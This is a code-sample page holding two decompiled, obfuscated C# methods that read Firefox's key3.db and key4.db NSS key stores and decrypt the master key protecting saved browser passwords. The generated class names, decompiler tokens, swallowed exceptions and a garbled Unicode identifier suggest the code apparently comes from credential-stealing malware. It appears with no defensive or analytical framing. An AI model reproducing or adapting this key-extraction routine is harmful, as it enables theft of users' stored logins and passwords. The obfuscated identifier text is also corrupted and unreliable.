Example #1
0
 // Token: 0x060001D9 RID: 473 RVA: 0x000101CC File Offset: 0x0000E3CC
 private static byte[] GetPrivate3Key(string file)
 {
     byte[] array = new byte[24];
     try
     {
         if (!File.Exists(file))
         {
             return(array);
         }
         new DataTable();
         Class_70 berkeleyDB = new Class_70(file);
         Class_72 class_     = new Class_72(Class_78.ParseDb(berkeleyDB, (string x) => x.Equals("password-check")));
         string   hexString  = Class_78.ParseDb(berkeleyDB, (string x) => x.Equals("global-salt"));
         Class_71 class_2    = new Class_71(Class_69.ConvertHexStringToByteArray(hexString), Encoding.Default.GetBytes(string.Empty), Class_69.ConvertHexStringToByteArray(class_.prop_0));
         class_2.smethod_230();
         Class_50.Decrypt(class_2.prop_3, class_2.prop_4, Class_69.ConvertHexStringToByteArray(class_.prop_2), PaddingMode.None);
         Class_62 class_3 = Class_61.Create(Class_69.ConvertHexStringToByteArray(Class_78.ParseDb(berkeleyDB, (string x) => !x.Equals("password-check") && !x.Equals("Version") && !x.Equals("global-salt"))));
         Class_71 class_4 = new Class_71(Class_69.ConvertHexStringToByteArray(hexString), Encoding.Default.GetBytes(string.Empty), class_3.prop_3[0].prop_3[0].prop_3[1].prop_3[0].prop_1);
         class_4.smethod_230();
         Class_62 class_5 = Class_61.Create(Class_61.Create(Encoding.Default.GetBytes(Class_50.Decrypt(class_4.prop_3, class_4.prop_4, class_3.prop_3[0].prop_3[1].prop_1, PaddingMode.None))).prop_3[0].prop_3[2].prop_1);
         if (class_5.prop_3[0].prop_3[3].prop_1.Length > 24)
         {
             Array.Copy(class_5.prop_3[0].prop_3[3].prop_1, class_5.prop_3[0].prop_3[3].prop_1.Length - 24, array, 0, 24);
         }
         else
         {
             array = class_5.prop_3[0].prop_3[3].prop_1;
         }
     }
     catch
     {
     }
     return(array);
 }
Example #2
0
 // Token: 0x060001D8 RID: 472 RVA: 0x0000FF8C File Offset: 0x0000E18C
 private static byte[] GetPrivate4Key(string file)
 {
     byte[] result = new byte[24];
     try
     {
         if (!File.Exists(file))
         {
             return(result);
         }
         Class_108 class_ = new Class_108(file);
         class_.smethod_400("metaData");
         string   s         = class_.pmethod_399(0, "item1");
         Class_62 class_2   = Class_61.Create(Encoding.Default.GetBytes(class_.pmethod_399(0, "item2)")));
         byte[]   byteDizi_ = class_2.prop_3[0].prop_3[0].prop_3[1].prop_3[0].prop_1;
         byte[]   input     = class_2.prop_3[0].prop_3[1].prop_1;
         Class_71 class_3   = new Class_71(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), byteDizi_);
         class_3.smethod_230();
         Class_50.Decrypt(class_3.prop_3, class_3.prop_4, input, PaddingMode.None);
         class_.smethod_400("nssPrivate");
         int    num = class_.prop_3;
         string s2  = string.Empty;
         for (int i = 0; i < num; i++)
         {
             if (class_.pmethod_399(i, "a102") == Encoding.Default.GetString(Class_78.\u0368\u0363\u034A\u035D\u0020\u0E47\u034F\u0355\u0318\u034E\u036B\u034E\u0364\u033B\u0358\u0020kffuazvgifweulwv\u0347\u033C\u032F\u0342\u0325\u0359\u0020\u036B\u031D\u036A\u0342\u0E47\u036F\u0342\u0332\u0324xubcmltrgjxdhotl))
             {
                 s2 = class_.pmethod_399(i, "a11");
                 break;
             }
         }
         Class_62 class_4    = Class_61.Create(Encoding.Default.GetBytes(s2));
         byte[]   byteDizi_2 = class_4.prop_3[0].prop_3[0].prop_3[1].prop_3[0].prop_1;
         byte[]   input2     = class_4.prop_3[0].prop_3[1].prop_1;
         Class_71 class_5    = new Class_71(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), byteDizi_2);
         class_5.smethod_230();
         result = Encoding.Default.GetBytes(Class_50.Decrypt(class_5.prop_3, class_5.prop_4, input2, PaddingMode.PKCS7));
     }
     catch
     {
     }
     return(result);
 }